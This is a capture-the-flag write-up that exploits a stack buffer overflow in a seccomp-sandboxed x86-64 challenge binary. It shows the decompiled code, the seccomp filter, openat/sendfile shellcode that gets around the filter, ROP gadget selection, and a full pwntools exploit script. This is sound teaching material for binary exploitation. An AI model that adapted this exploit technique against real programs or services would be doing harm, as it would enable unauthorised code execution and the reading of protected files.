Flash CTF – Syscall Me Maybe?

Overview

This challenge presents with a program that we need to exploit to read the flag file, but there are some protections in place that make our job more difficult…

Solution

Note: For the purposes of this writeup, the binary is called chal. Yours may be named differently.

We are given the file chal, and running file shows us the following:

┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ file chal                        
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d677f8e37a961189b32ed3b1f8be3a31bd48df9, for GNU/Linux 4.4.0, not stripped

The binary isn’t stripped and PIE isn’t enabled, which makes reverse engineering and finding functions/gadgets easier for us.

Running checksec --file ./chal shows us what proections are enabled on the binary:

┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ checksec --file=chal             
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   43 Symbols        No    0               3               chal

Even without many of the standard protections enabled on the binary, running strings on the challenge file reveals references to “seccomp.” This is an advanced kernel feature that restricts the syscalls that a process is allowed to make.

Disassembly and decompilation

After loading the binary into Ghidra and looking at the symbol tree, it’s pretty easy to find main:

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  char *pcVar3;
  char local_458 [1024];
  undefined local_58 [76];
  undefined4 local_c;
  
  iVar1 = prctl(0x26,1,0,0,0);
  if (iVar1 == 0) {
    setvbuf(stdin,(char *)0x0,2,0);
    setvbuf(stdout,(char *)0x0,2,0);
    setvbuf(stderr,(char *)0x0,2,0);
    puts("Coding: Insecure");
    puts("Protections: Disabled");
    puts("Buffers: Overflowing");
    puts("But your one small issue...");
    puts("Sec: Comped");
    local_c = 0x12345678;
    printf("Syscall me maybe?: ");
    pcVar3 = fgets(local_458,0x400,stdin);
    if (pcVar3 == (char *)0x0) {
      perror("fgets failed");
      uVar2 = 1;
    }
    else {
      printf("%s",local_458);
      setup_seccomp();
      memcpy(local_58,local_458,0x400);
      uVar2 = 0;
    }
  }
  else {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    uVar2 = 1;
  }
  return uVar2;
}

The important things to pay attention to are the calls to fgets() and memcpy()fgets() stores up to 1024 bytes from stdin in local_458memcpy() takes the bytes stored in local_458 and copies them to local_58, but this variable can only hold 64 bytes, effectively creating a buffer overflow that we can then use to redirect the program’s execution flow.

Seccomp rules!

The next function to look at is setup_seccomp(), which as the name suggests, loads and activates a list of rules for seccomp. Unfortunately, Ghidra doesn’t automatically define the constants in seccomp.h, making it difficult to understand what exactly is in the rule list. Luckily, we can use seccomp-tools to extract and process the rule list:

┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ seccomp-tools dump ./chal
Coding: Insecure
Protections: Disabled
Buffers: Overflowing
But your one small issue...
Sec: Comped
Syscall me maybe?: a
a
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x34 0xc000003e  if (A != ARCH_X86_64) goto 0054
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x31 0xffffffff  if (A != 0xffffffff) goto 0054
 0005: 0x15 0x30 0x00 0x00000000  if (A == read) goto 0054
 0006: 0x15 0x2f 0x00 0x00000001  if (A == write) goto 0054
 0007: 0x15 0x2e 0x00 0x00000002  if (A == open) goto 0054
 0008: 0x15 0x2d 0x00 0x00000009  if (A == mmap) goto 0054
 0009: 0x15 0x2c 0x00 0x00000011  if (A == pread64) goto 0054
 0010: 0x15 0x2b 0x00 0x00000013  if (A == readv) goto 0054
 0011: 0x15 0x2a 0x00 0x00000014  if (A == writev) goto 0054
 0012: 0x15 0x29 0x00 0x00000016  if (A == pipe) goto 0054
 0013: 0x15 0x28 0x00 0x00000029  if (A == socket) goto 0054
 0014: 0x15 0x27 0x00 0x00000038  if (A == clone) goto 0054
 0015: 0x15 0x26 0x00 0x00000039  if (A == fork) goto 0054
 0016: 0x15 0x25 0x00 0x0000003a  if (A == vfork) goto 0054
 0017: 0x15 0x24 0x00 0x0000003b  if (A == execve) goto 0054
 0018: 0x15 0x23 0x00 0x00000065  if (A == ptrace) goto 0054
 0019: 0x15 0x22 0x00 0x00000069  if (A == setuid) goto 0054
 0020: 0x15 0x21 0x00 0x0000006a  if (A == setgid) goto 0054
 0021: 0x15 0x20 0x00 0x0000006d  if (A == setpgid) goto 0054
 0022: 0x15 0x1f 0x00 0x00000070  if (A == setsid) goto 0054
 0023: 0x15 0x1e 0x00 0x00000071  if (A == setreuid) goto 0054
 0024: 0x15 0x1d 0x00 0x00000072  if (A == setregid) goto 0054
 0025: 0x15 0x1c 0x00 0x00000075  if (A == setresuid) goto 0054
 0026: 0x15 0x1b 0x00 0x00000077  if (A == setresgid) goto 0054
 0027: 0x15 0x1a 0x00 0x0000007a  if (A == setfsuid) goto 0054
 0028: 0x15 0x19 0x00 0x0000007b  if (A == setfsgid) goto 0054
 0029: 0x15 0x18 0x00 0x0000007e  if (A == capset) goto 0054
 0030: 0x15 0x17 0x00 0x0000008e  if (A == sched_setparam) goto 0054
 0031: 0x15 0x16 0x00 0x00000090  if (A == sched_setscheduler) goto 0054
 0032: 0x15 0x15 0x00 0x0000009b  if (A == pivot_root) goto 0054
 0033: 0x15 0x14 0x00 0x0000009d  if (A == prctl) goto 0054
 0034: 0x15 0x13 0x00 0x000000a1  if (A == chroot) goto 0054
 0035: 0x15 0x12 0x00 0x000000bb  if (A == readahead) goto 0054
 0036: 0x15 0x11 0x00 0x000000cb  if (A == sched_setaffinity) goto 0054
 0037: 0x15 0x10 0x00 0x000000da  if (A == set_tid_address) goto 0054
 0038: 0x15 0x0f 0x00 0x00000110  if (A == unshare) goto 0054
 0039: 0x15 0x0e 0x00 0x00000113  if (A == splice) goto 0054
 0040: 0x15 0x0d 0x00 0x00000116  if (A == vmsplice) goto 0054
 0041: 0x15 0x0c 0x00 0x00000125  if (A == pipe2) goto 0054
 0042: 0x15 0x0b 0x00 0x00000134  if (A == setns) goto 0054
 0043: 0x15 0x0a 0x00 0x00000136  if (A == process_vm_readv) goto 0054
 0044: 0x15 0x09 0x00 0x00000137  if (A == process_vm_writev) goto 0054
 0045: 0x15 0x08 0x00 0x0000013a  if (A == sched_setattr) goto 0054
 0046: 0x15 0x07 0x00 0x0000013d  if (A == seccomp) goto 0054
 0047: 0x15 0x06 0x00 0x00000142  if (A == execveat) goto 0054
 0048: 0x15 0x05 0x00 0x00000146  if (A == copy_file_range) goto 0054
 0049: 0x15 0x04 0x00 0x000001a9  if (A == 0x1a9) goto 0054
 0050: 0x15 0x03 0x00 0x000001aa  if (A == 0x1aa) goto 0054
 0051: 0x15 0x02 0x00 0x000001ab  if (A == 0x1ab) goto 0054
 0052: 0x15 0x01 0x00 0x000001b3  if (A == 0x1b3) goto 0054
 0053: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0054: 0x06 0x00 0x00 0x00000000  return KILL

We can see that any calls to open() and read() (along with other functions) redirect to rule 0054, terminating the program and effectively blocking those system calls from being made. If we don’t have access to these functions, how do we read the flag file?

Exploitation

In that moment, the seccomp filter thought it had effectively blocked us from reading the flag. But it forgot two key things:

  1. openat() opens a file and returns a file descriptor pointing to it.
  2. sendfile() copies data between file descriptors – for example, the one returned by openat() and the one pointing to stdout.

We can use these functions to read and output the contents of the flag file, but how will we make the program call them?

Shellcode

We know from the output of checksec that many protections are disabled on the challenge binary, including the NX (no execute) bit. When the NX bit is enabled, stored input and data (amongst other sections) can’t be executed as code. While there are ways to circumvent this, the NX bit is disabled on the challenge binary, so can supply our own code as input and exploit the buffer overflow to redirect program execution to it.

We can supply our own code in the form of shellcode, which is essentially a small piece of machine code. Our shellcode will open the flag file at /tmp/flag using openat() and copy its contents to stdout using sendfile(), which will then return the flag to us.

Many tools exist to assist in building shellcode, but for the purposes of this writeup, we can use the shellcraft module from the pwntools library. We’ll make sure to use the amd64 architecture, as that is what the binary is compiled for:

from pwn import *

context.update(log_level = 'debug', binary = './chal')

shellcode = shellcraft.amd64.linux.openat(constants.AT_FDCWD, '/tmp/flag.txt', constants.O_RDONLY)
shellcode += shellcraft.amd64.linux.sendfile(constants.STDOUT_FILENO, 'rax', 0, 0x64)

If we printed out the shellcode variable, we would see something like this:

    ; openat(fd=AT_FDCWD (-0x64), file='/tmp/flag.txt', oflag=O_RDONLY (0))
    ; push b'/tmp/flag.txt\x00'
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x7478742e67
    xor [rsp], rax
    mov rax, 0x616c662f706d742f
    push rax
    mov rsi, rsp
    push AT_FDCWD ; -0x64
    pop rdi
    xor edx, edx ; O_RDONLY
    ; call openat()
    xor eax, eax
    mov ax, SYS_openat ; 0x101
    syscall
    ; sendfile(out_fd=STDOUT_FILENO (1), in_fd='rax', offset=0, count=0x64)
    push 0x64
    pop r10
    push STDOUT_FILENO ; 1
    pop rdi
    xor edx, edx ; 0
    mov rsi, rax
    ; call sendfile()
    push SYS_sendfile ; 0x28 
    pop rax
    syscall

We can then go ahead and assemble our shellcode:

shellcode = asm(shellcode)

Now that we have our shellcode, we’re good, right? Not quite. Remember the buffer overflow from earlier? That allows us overwrite the instruction pointer (RIP), which contains the memory address of the next instruction to execute. If we want to get our shellcode to run, we need to tell the program where our shellcode is in memory.

ROP + Debugging

Enter ROP, or “Return-Oriented Programming.” ROP describes a technique that makes use of snippets of assembly, called “gadgets.” These “gadgets” perform specific actions and typically end in ret. To get a list of gadgets and their locations in memory, we can use ROPgadget:

┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ ROPgadget --binary ./chal             
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004011bf : add bh, bh ; loopne 0x401229 ; nop dword ptr [rax + rax] ; ret
0x000000000040114c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020

...

To know what specific gadget we want, we’re going to have to do some debugging. This will allow us to see what the state of the program is before our shellcode would get executed. We also need to know how many bytes we need to write before we’re able to overwrite the instruction pointer. Let’s start there.

If we open up the program using gdb with the pwndbg extension, we can run cyclic 100 to get a 100-character string to supply as input to the program. Hopefully 100 characters is enough to overwrite the instruction pointer, but we can adjust as needed. We can execute the program using run and then supply the pattern as input, which causes the program to crash. We see a value displayed next to ret (aka the value right below the instruction), which looks rather interesting:

► 0x401ae3 <main+350>    ret                                <0x616161616161616c>

By using cyclic -l and the pattern we just found (0x616161616161616c), we can find the amount of bytes before the pattern in the original 100-character string, which ends up being 88 bytes. This means that it will take 88 bytes before we start overwriting RIP, so we need 88 bytes of filler and then the address of our gadget.

We can take a deeper dive on how the program works by setting a breakpoint at an address and stepping through each instruction. Because the binary isn’t stripped, we can run disassemble main to view the assembly code. Let’s put a breakpoint after setup_seccomp() is executed, which would be address 0x401ac2:

break *0x401ac2

After starting the program up again via run and supplying some input, execution will eventually pause at the breakpoint we set. As we step through the next instructions, we can see that the address that points to the beginning of our input gets moved to the register RCX, where it remains until after the program completes execution.

Perhaps we could take our shellcode, pad it to be 88 bytes using no-operation (NOP) instructions (commonly referred to as a “NOP-sled”), then add the address of a gadget that jumps back to the beginning of our input (stored in RCX). This would in turn execute the no-operation instructions (aka do nothing) and then our shellcode.

Conveniently, if we go back to the list of gadgets found in the program, one such gadget at 0x40197c performs the instruction jmp rcx, which is exactly what we need.

Putting it all together

Now we have all the parts to complete our exploit:

  1. Assemble shellcode to open and read out the contents of the flag file using openat() and sendfile()
  2. Pad the shellcode using NOP instructions until it’s 88 bytes long
  3. Add the address of th jmp rcx gadget to our payload
  4. Send our payload to the server
  5. Profit

Below is a Python script that puts all these steps togther, including an option for running the exploit either locally or remotely:

from pwn import *

context.update(log_level = 'debug', binary = './chal')

flag = ''
if len(sys.argv) < 2:
	print(f"Usage: {sys.argv[0]} <local|remote> [host] [port]")
	exit(0)
elif sys.argv[1] == "local":
	p = process("./chal")
	flag = "./flag.txt"
	gdb.attach(p,
        '''
        break *main+350
		continue
        ''')
elif sys.argv[1] == "remote":
	flag = "/tmp/flag.txt"
	p = remote(sys.argv[2], sys.argv[3])

# Create shellcode that:
# 1. Opens /tmp/flag.txt using openat (AT_FDCWD = 0, O_RDONLY = 0)
# 2. Uses sendfile to copy 100 bytes from fd returned by openat (stored in rax) to stdout (fd 1)
shellcode = shellcraft.amd64.linux.openat(constants.AT_FDCWD, flag, constants.O_RDONLY)
shellcode += shellcraft.amd64.linux.sendfile(constants.STDOUT_FILENO, 'rax', 0, 0x64)
shellcode = asm(shellcode)

# ROPgadget --binary ./chal
jmp_rcx = 0x40197c

# print(disasm(shellcode))
# padding the payload so the address of jmp_rcx will overwrite RIP
payload = shellcode.ljust(88, b'\x90') + p64(jmp_rcx)

p.sendlineafter("Syscall me maybe?: ", payload)
print(p.recvall())

After running the script, we get a string with our shellcode in bytes and the flag appended to the end:

MetaCTF{l00k5_l1k3_s0m3_unf0r7unate_5ysc4lls_g0t_4dd3d_7o_7h3_51gnal_ch4t}